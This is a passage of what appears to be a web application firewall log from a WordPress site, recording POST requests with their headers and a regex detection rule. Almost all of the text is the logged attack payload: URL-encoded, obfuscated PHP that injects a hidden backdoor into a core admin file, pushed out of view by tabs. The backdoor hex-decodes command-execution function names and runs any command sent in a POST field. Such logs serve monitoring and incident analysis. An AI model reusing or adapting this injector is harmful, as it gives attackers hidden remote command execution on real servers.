5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:09","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:7035\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nSV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:11","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:7058\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handle